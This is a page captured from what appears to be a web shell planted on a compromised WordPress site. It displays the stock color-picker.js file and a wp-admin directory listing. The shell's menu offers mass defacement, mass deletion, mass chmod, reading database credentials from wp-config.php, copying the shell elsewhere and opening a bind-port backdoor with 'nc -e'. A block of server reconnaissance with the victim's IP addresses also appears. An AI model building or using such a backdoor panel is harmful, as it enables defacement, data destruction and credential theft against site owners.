WPZ

/ data / web / 1 / 000 / 076 / 129 / 313906 / htdocs / wp-admin / js / [dxwrx-rx-r]
berkas terminal database massal sistem
/data/web/1/000/076/129/313906/htdocs/wp-admin/js/color-picker.js (9.54 KB)
/**
 * @output wp-admin/js/color-picker.js
 */

( function( $, undef ) {

	var ColorPicker,
		_before = '<button type="button" class="button wp-color-result" aria-expanded="false"><span class="wp-color-result-text"></span></button>',
		_after = '<div class="wp-picker-holder" />',
		_wrap = '<div class="wp-picker-container" />',
		_button = '<input type="button" class="button button-small" />',
		_wrappingLabel = '<label></label>',
		_wrappingLabelText = '<span class="screen-reader-text"></span>',
		__ = wp.i18n.__;

	/**
	 * Creates a jQuery UI color picker that is used in the theme customizer.
	 *
	 * @class $.widget.wp.wpColorPicker
	 *
	 * @since 3.5.0
	 */
	ColorPicker = /** @lends $.widget.wp.wpColorPicker.prototype */{
		options: {
			defaultColor: false,
			change: false,
			clear: false,
			hide: true,
			palettes: true,
			width: 255,
			mode: 'hsv',
			type: 'full',
			slider: 'horizontal'
		},
		/**
		 * Creates a color picker that only allows you to adjust the hue.
		 *
		 * @since 3.5.0
		 * @access private
		 *
		 * @return {void}
		 */
		_createHueOnly: function() {
			var self = this,
				el = self.element,
				color;

			el.hide();

			// Set the saturation to the maximum level.
			color = 'hsl(' + el.val() + ', 100, 50)';

			// Create an instance of the color picker, using the hsl mode.
			el.iris( {
				mode: 'hsl',
				type: 'hue',
				hide: false,
				color: color,
				/**
				 * Handles the onChange event if one has been defined in the options.
				 *
				 * @ignore
				 *
				 * @param {Event} event    The event that's being called.
				 * @param {HTMLElement} ui The HTMLElement containing the color picker.
				 *
				 * @return {void}
				 */
				change: function( event, ui ) {
					if ( typeof self.options.change === 'function' ) {
						self.options.change.call( this, event, ui );
					}
				},
				width: self.options.width,
				slider: self.options.slider
			} );
		},
		/**
		 * Creates the color picker, sets default values, css classes and wraps it all in HTML.
		 *
		 * @since 3.5.0
		 * @access private
		 *
		 * @return {void}
		 */
		_create: function() {
			// Return early if Iris support is missing.
			if ( ! $.support.iris ) {
				return;
			}

			var self = this,
				el = self.element;

			// Override default options with options bound to the element.
			$.extend( self.options, el.data() );

			// Create a color picker which only allows adjustments to the hue.
			if ( self.options.type === 'hue' ) {
				return self._createHueOnly();
			}

			// Bind the close event.
			self.close = self.close.bind( self );

			self.initialValue = el.val();

			// Add a CSS class to the input field.
			el.addClass( 'wp-color-picker' );

			/*
			 * Check if there's already a wrapping label, e.g. in the Customizer.
			 * If there's no label, add a default one to match the Customizer template.
			 */
			if ( ! el.parent( 'label' ).length ) {
				// Wrap the input field in the default label.
				el.wrap( _wrappingLabel );
				// Insert the default label text.
				self.wrappingLabelText = $( _wrappingLabelText )
					.insertBefore( el )
					.text( __( 'Color value' ) );
			}

			/*
			 * At this point, either it's the standalone version or the Customizer
			 * one, we have a wrapping label to use as hook in the DOM, let's store it.
			 */
			self.wrappingLabel = el.parent();

			// Wrap the label in the main wrapper.
			self.wrappingLabel.wrap( _wrap );
			// Store a reference to the main wrapper.
			self.wrap = self.wrappingLabel.parent();
			// Set up the toggle button and insert it before the wrapping label.
			self.toggler = $( _before )
				.insertBefore( self.wrappingLabel )
				.css( { backgroundColor: self.initialValue } );
			// Set the toggle button span element text.
			self.toggler.find( '.wp-color-result-text' ).text( __( 'Select Color' ) );
			// Set up the Iris container and insert it after the wrapping label.
			self.pickerContainer = $( _after ).insertAfter( self.wrappingLabel );
			// Store a reference to the Clear/Default button.
			self.button = $( _button );

			// Set up the Clear/Default button.
			if ( self.options.defaultColor ) {
				self.button
					.addClass( 'wp-picker-default' )
					.val( __( 'Default' ) )
					.attr( 'aria-label', __( 'Select default color' ) );
			} else {
				self.button
					.addClass( 'wp-picker-clear' )
					.val( __( 'Clear' ) )
					.attr( 'aria-label', __( 'Clear color' ) );
			}

			// Wrap the wrapping label in its wrapper and append the Clear/Default button.
			self.wrappingLabel
				.wrap( '<span class="wp-picker-input-wrap hidden" />' )
				.after( self.button );

			/*
			 * The input wrapper now contains the label+input+Clear/Default button.
			 * Store a reference to the input wrapper: we'll use this to toggle
			 * the controls visibility.
			 */
			self.inputWrapper = el.closest( '.wp-picker-input-wrap' );

			el.iris( {
				target: self.pickerContainer,
				hide: self.options.hide,
				width: self.options.width,
				mode: self.options.mode,
				palettes: self.options.palettes,
				/**
				 * Handles the onChange event if one has been defined in the options and additionally
				 * sets the background color for the toggler element.
				 *
				 * @since 3.5.0
				 *
				 * @ignore
				 *
				 * @param {Event} event    The event that's being called.
				 * @param {HTMLElement} ui The HTMLElement containing the color picker.
				 *
				 * @return {void}
				 */
				change: function( event, ui ) {
					self.toggler.css( { backgroundColor: ui.color.toString() } );

					if ( typeof self.options.change === 'function' ) {
						self.options.change.call( this, event, ui );
					}
				}
			} );

			el.val( self.initialValue );
			self._addListeners();

			// Force the color picker to always be closed on initial load.
			if ( ! self.options.hide ) {
				self.toggler.click();
			}
		},
		/**
		 * Binds event listeners to the color picker.
		 *
		 * @since 3.5.0
		 * @access private
		 *
		 * @return {void}
		 */
		_addListeners: function() {
			var self = this;

			/**
			 * Prevent any clicks inside this widget from leaking to the top and closing it.
			 *
			 * @since 3.5.0
			 *
			 * @param {Event} event The event that's being called.
			 *
			 * @return {void}
			 */
			self.wrap.on( 'click.wpcolorpicker', function( event ) {
				event.stopPropagation();
			});

			/**
			 * Open or close the color picker depending on the class.
			 *
			 * @since 3.5.0
			 */
			self.toggler.on( 'click', function(){
				if ( self.toggler.hasClass( 'wp-picker-open' ) ) {
					self.close();
				} else {
					self.open();
				}
			});

			/**
			 * Checks if value is empty when changing the color in the color picker.
			 * If so, the background color is cleared.
			 *
			 * @since 3.5.0
			 *
			 * @param {Event} event The event that's being called.
			 *
			 * @return {void}
			 */
			self.element.on( 'change', function( event ) {
				var me = $( this ),
					val = me.val();

				if ( val === '' || val === '#' ) {
					self.toggler.css( 'backgroundColor', '' );
					// Fire clear callback if we have one.
					if ( typeof self.options.clear === 'function' ) {
						self.options.clear.call( this, event );
					}
				}
			});

			/**
			 * Enables the user to either clear the color in the color picker or revert back to the default color.
			 *
			 * @since 3.5.0
			 *
			 * @param {Event} event The event that's being called.
			 *
			 * @return {void}
			 */
			self.button.on( 'click', function( event ) {
				var me = $( this );
				if ( me.hasClass( 'wp-picker-clear' ) ) {
					self.element.val( '' );
					self.toggler.css( 'backgroundColor', '' );
					if ( typeof self.options.clear === 'function' ) {
						self.options.clear.call( this, event );
					}
				} else if ( me.hasClass( 'wp-picker-default' ) ) {
					self.element.val( self.options.defaultColor ).change();
				}
			});
		},
		/**
		 * Opens the color picker dialog.
		 *
		 * @since 3.5.0
		 *
		 * @return {void}
		 */
		open: function() {
			this.element.iris( 'toggle' );
			this.inputWrapper.removeClass( 'hidden' );
			this.wrap.addClass( 'wp-picker-active' );
			this.toggler
				.addClass( 'wp-picker-open' )
				.attr( 'aria-expanded', 'true' );
			$( 'body' ).trigger( 'click.wpcolorpicker' ).on( 'click.wpcolorpicker', this.close );
		},
		/**
		 * Closes the color picker dialog.
		 *
		 * @since 3.5.0
		 *
		 * @return {void}
		 */
		close: function() {
			this.element.iris( 'toggle' );
			this.inputWrapper.addClass( 'hidden' );
			this.wrap.removeClass( 'wp-picker-active' );
			this.toggler
				.removeClass( 'wp-picker-open' )
				.attr( 'aria-expanded', 'false' );
			$( 'body' ).off( 'click.wpcolorpicker', this.close );
		},
		/**
		 * Returns the iris object if no new color is provided. If a new color is provided, it sets the new color.
		 *
		 * @param newColor {string|*} The new color to use. Can be undefined.
		 *
		 * @since 3.5.0
		 *
		 * @return {string} The element's color.
		 */
		color: function( newColor ) {
			if ( newColor === undef ) {
				return this.element.iris( 'option', 'color' );
			}
			this.element.iris( 'option', 'color', newColor );
		},
		/**
		 * Returns the iris object if no new default color is provided.
		 * If a new default color is provided, it sets the new default color.
		 *
		 * @param newDefaultColor {string|*} The new default color to use. Can be undefined.
		 *
		 * @since 3.5.0
		 *
		 * @return {boolean|string} The element's color.
		 */
		defaultColor: function( newDefaultColor ) {
			if ( newDefaultColor === undef ) {
				return this.options.defaultColor;
			}

			this.options.defaultColor = newDefaultColor;
		}
	};

	// Register the color picker as a widget.
	$.widget( 'wp.wpColorPicker', ColorPicker );
}( jQuery ) );
namawaktuukuranownerpermaksi
..
widgets/ 2026-02-23 19:41136.14 KB 76129f60960:kundendxwrx-rx-r
accordion.js 2026-02-23 19:412.86 KB 76129f60960:kunden-xw-x-----
edt
accordion.min.js 2026-02-23 19:41758 B 76129f60960:kunden-xw-x-----
edt
application-passwords.js 2026-02-23 19:416.24 KB 76129f60960:kunden-xw-x-----
edt
application-passwords.min.js 2026-02-23 19:412.95 KB 76129f60960:kunden-xw-x-----
edt
auth-app.js 2026-02-23 19:415.66 KB 76129f60960:kunden-xw-x-----
edt
auth-app.min.js 2026-02-23 19:412.04 KB 76129f60960:kunden-xw-x-----
edt
code-editor.js 2026-05-21 09:1117.54 KB 76129f60960:kunden-xw-x--x--
edt
code-editor.min.js 2026-05-21 09:113.46 KB 76129f60960:kunden-xw-x--x--
edt
color-picker.js 2026-02-23 19:419.54 KB 76129f60960:kunden-xw-x-----
edt
color-picker.min.js 2026-02-23 19:413.4 KB 76129f60960:kunden-xw-x-----
edt
comment.js 2026-08-20 11:465.08 KB 76129f60960:kunden-xw-x-----
edt
comment.min.js 2026-08-20 11:462.03 KB 76129f60960:kunden-xw-x-----
edt
common.js 2026-10-07 00:3068.79 KB 76129f60960:kunden-xw-x--x--
edt
common.min.js 2026-10-07 00:3025.61 KB 76129f60960:kunden-xw-x--x--
edt
custom-background.js 2026-02-23 19:413.35 KB 76129f60960:kunden-xw-x-----
edt
custom-background.min.js 2026-02-23 19:411.18 KB 76129f60960:kunden-xw-x-----
edt
custom-header.js 2026-02-23 19:411.98 KB 76129f60960:kunden-xw-x-----
edt
customize-controls.js 2026-08-20 11:46288.97 KB 76129f60960:kunden-xw-x-----
edt
customize-controls.min.js 2026-08-20 11:46109.9 KB 76129f60960:kunden-xw-x-----
edt
customize-nav-menus.js 2026-08-20 11:46111.46 KB 76129f60960:kunden-xw-x-----
edt
customize-nav-menus.min.js 2026-02-23 19:4147.14 KB 76129f60960:kunden-xw-x-----
edt
customize-widgets.js 2026-02-23 19:4170.05 KB 76129f60960:kunden-xw-x-----
edt
customize-widgets.min.js 2026-02-23 19:4127.41 KB 76129f60960:kunden-xw-x-----
edt
dashboard.js 2026-08-20 11:4626.92 KB 76129f60960:kunden-xw-x-----
edt
dashboard.min.js 2026-08-20 11:468.51 KB 76129f60960:kunden-xw-x-----
edt
edit-comments.js 2026-05-21 09:1137.25 KB 76129f60960:kunden-xw-x--x--
edt
edit-comments.min.js 2026-05-21 09:1115.15 KB 76129f60960:kunden-xw-x--x--
edt
editor-expand.js 2026-02-23 19:4141.61 KB 76129f60960:kunden-xw-x-----
edt
editor-expand.min.js 2026-02-23 19:4113.14 KB 76129f60960:kunden-xw-x-----
edt
editor.js 2026-02-23 19:4144 KB 76129f60960:kunden-xw-x-----
edt
editor.min.js 2026-02-23 19:4112.78 KB 76129f60960:kunden-xw-x-----
edt
farbtastic.js 2026-02-23 19:417.67 KB 76129f60960:kunden-xw-x-----
edt
gallery.js 2026-02-23 19:415.41 KB 76129f60960:kunden-xw-x-----
edt
gallery.min.js 2026-02-23 19:413.65 KB 76129f60960:kunden-xw-x-----
edt
image-edit.js 2026-02-23 19:4139.98 KB 76129f60960:kunden-xw-x-----
edt
image-edit.min.js 2026-02-23 19:4115.15 KB 76129f60960:kunden-xw-x-----
edt
inline-edit-post.js 2026-08-20 11:4620.19 KB 76129f60960:kunden-xw-x--x--
edt
inline-edit-post.min.js 2026-08-20 11:469.36 KB 76129f60960:kunden-xw-x--x--
edt
inline-edit-tax.js 2026-02-23 19:417.61 KB 76129f60960:kunden-xw-x-----
edt
inline-edit-tax.min.js 2026-02-23 19:412.93 KB 76129f60960:kunden-xw-x-----
edt
iris.min.js 2026-02-23 19:4123.09 KB 76129f60960:kunden-xw-x-----
edt
language-chooser.js 2026-02-23 19:41890 B 76129f60960:kunden-xw-x-----
edt
language-chooser.min.js 2026-02-23 19:41423 B 76129f60960:kunden-xw-x-----
edt
link.js 2026-05-21 09:114.76 KB 76129f60960:kunden-xw-x--x--
edt
link.min.js 2026-05-21 09:112.26 KB 76129f60960:kunden-xw-x--x--
edt
media-gallery.js 2026-02-23 19:411.27 KB 76129f60960:kunden-xw-x-----
edt
media-gallery.min.js 2026-02-23 19:41611 B 76129f60960:kunden-xw-x-----
edt
media-upload.js 2026-02-23 19:413.38 KB 76129f60960:kunden-xw-x-----
edt
media-upload.min.js 2026-02-23 19:411.13 KB 76129f60960:kunden-xw-x-----
edt
media.js 2026-02-23 19:416.61 KB 76129f60960:kunden-xw-x-----
edt
media.min.js 2026-02-23 19:412.38 KB 76129f60960:kunden-xw-x-----
edt
nav-menu.js 2026-02-23 19:4161.15 KB 76129f60960:kunden-xw-x-----
edt
nav-menu.min.js 2026-02-23 19:4130.06 KB 76129f60960:kunden-xw-x-----
edt
password-strength-meter.js 2026-02-23 19:414.14 KB 76129f60960:kunden-xw-x-----
edt
password-strength-meter.min.js 2026-02-23 19:411.1 KB 76129f60960:kunden-xw-x-----
edt
password-toggle.js 2026-02-23 19:411.31 KB 76129f60960:kunden-xw-x-----
edt
password-toggle.min.js 2026-02-23 19:41847 B 76129f60960:kunden-xw-x-----
edt
plugin-install.js 2026-08-20 11:466.92 KB 76129f60960:kunden-xw-x-----
edt
plugin-install.min.js 2026-08-20 11:462.35 KB 76129f60960:kunden-xw-x-----
edt
post.js 2026-08-20 11:4639.54 KB 76129f60960:kunden-xw-x--x--
edt
post.min.js 2026-08-20 11:4618.96 KB 76129f60960:kunden-xw-x--x--
edt
postbox.js 2026-02-23 19:4118.49 KB 76129f60960:kunden-xw-x-----
edt
postbox.min.js 2026-02-23 19:416.6 KB 76129f60960:kunden-xw-x-----
edt
privacy-tools.js 2026-08-20 11:4610.88 KB 76129f60960:kunden-xw-x-----
edt
privacy-tools.min.js 2026-08-20 11:465.07 KB 76129f60960:kunden-xw-x-----
edt
revisions.js 2026-02-23 19:4133.92 KB 76129f60960:kunden-xw-x-----
edt
revisions.min.js 2026-02-23 19:4117.97 KB 76129f60960:kunden-xw-x-----
edt
set-post-thumbnail.js 2026-02-23 19:41876 B 76129f60960:kunden-xw-x-----
edt
set-post-thumbnail.min.js 2026-02-23 19:41620 B 76129f60960:kunden-xw-x-----
edt
site-health.js 2026-05-21 09:1113.55 KB 76129f60960:kunden-xw-x--x--
edt
site-health.min.js 2026-05-21 09:116.32 KB 76129f60960:kunden-xw-x--x--
edt
site-icon.js 2026-08-20 11:466.69 KB 76129f60960:kunden-xw-x-----
edt
site-icon.min.js 2026-08-20 11:462.47 KB 76129f60960:kunden-xw-x-----
edt
svg-painter.js 2026-02-23 19:413.2 KB 76129f60960:kunden-xw-x-----
edt
svg-painter.min.js 2026-02-23 19:411.53 KB 76129f60960:kunden-xw-x-----
edt
tags-box.js 2026-02-23 19:4110.88 KB 76129f60960:kunden-xw-x-----
edt
tags-box.min.js 2026-02-23 19:413 KB 76129f60960:kunden-xw-x-----
edt
tags-suggest.js 2026-02-23 19:415.64 KB 76129f60960:kunden-xw-x-----
edt
tags-suggest.min.js 2026-02-23 19:412.22 KB 76129f60960:kunden-xw-x-----
edt
tags.js 2026-08-20 11:467.66 KB 76129f60960:kunden-xw-x-----
edt
tags.min.js 2026-08-20 11:463.04 KB 76129f60960:kunden-xw-x-----
edt
theme-plugin-editor.js 2026-05-21 09:1125.56 KB 76129f60960:kunden-xw-x--x--
edt
theme-plugin-editor.min.js 2026-05-21 09:1111.82 KB 76129f60960:kunden-xw-x--x--
edt
theme.js 2026-09-18 04:0156.07 KB 76129f60960:kunden-xw-x--x--
edt
theme.min.js 2026-09-18 04:0126.91 KB 76129f60960:kunden-xw-x--x--
edt
updates.js 2026-02-23 19:41109.37 KB 76129f60960:kunden-xw-x-----
edt
updates.min.js 2026-02-23 19:4147.31 KB 76129f60960:kunden-xw-x-----
edt
user-profile.js 2026-08-20 11:4617.74 KB 76129f60960:kunden-xw-x-----
edt
user-profile.min.js 2026-08-20 11:467.73 KB 76129f60960:kunden-xw-x-----
edt
user-suggest.js 2026-02-23 19:412.25 KB 76129f60960:kunden-xw-x-----
edt
user-suggest.min.js 2026-02-23 19:41676 B 76129f60960:kunden-xw-x-----
edt
widgets.js 2026-02-23 19:4122.56 KB 76129f60960:kunden-xw-x-----
edt
widgets.min.js 2026-02-23 19:4112.31 KB 76129f60960:kunden-xw-x-----
edt
word-count.js 2026-02-23 19:417.52 KB 76129f60960:kunden-xw-x-----
edt
word-count.min.js 2026-02-23 19:411.49 KB 76129f60960:kunden-xw-x-----
edt
xfn.js 2026-02-23 19:41740 B 76129f60960:kunden-xw-x-----
edt
xfn.min.js 2026-02-23 19:41458 B 76129f60960:kunden-xw-x-----
edt
aksi pada path manual

cwd: /data/web/1/000/076/129/313906/htdocs/wp-admin/js
kredensial dibaca dari wp-config.php terdekat; reset password memakai MD5 legacy
mass deface
mass delete
mass replace
chmod massal
unameLinux w38 6.12.118+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.118-1 (2026-11-20) x86_64 softwareApache php8.4.28 / cgi-fcgi / Linux user76129f60960 (52449:5000) host / ip82.100.220.68 / 216.73.216.212 disk bebas2.68 TB limitmem 512M / max 0 open_basedirNONE disable_functionsNONE ekstensiCore, date, libxml, openssl, pcre, zlib, filter, hash, json, pcntl, random, Reflection, SPL, session, standard, sodium, cgi-fcgi, mysqlnd, PDO, xml, apcu, bcmath, bz2, calendar, ctype, curl, dba, dom, mbstring, FFI, fileinfo, ftp, gd, gettext, gmp, iconv, imagick, imap, intl, exif
ini_set runtime
salin shell ke direktori lain
bind port (nc -e)
.htaccess
tes mail
styroporzuschnitte24.de · 2026 · WPZ-OK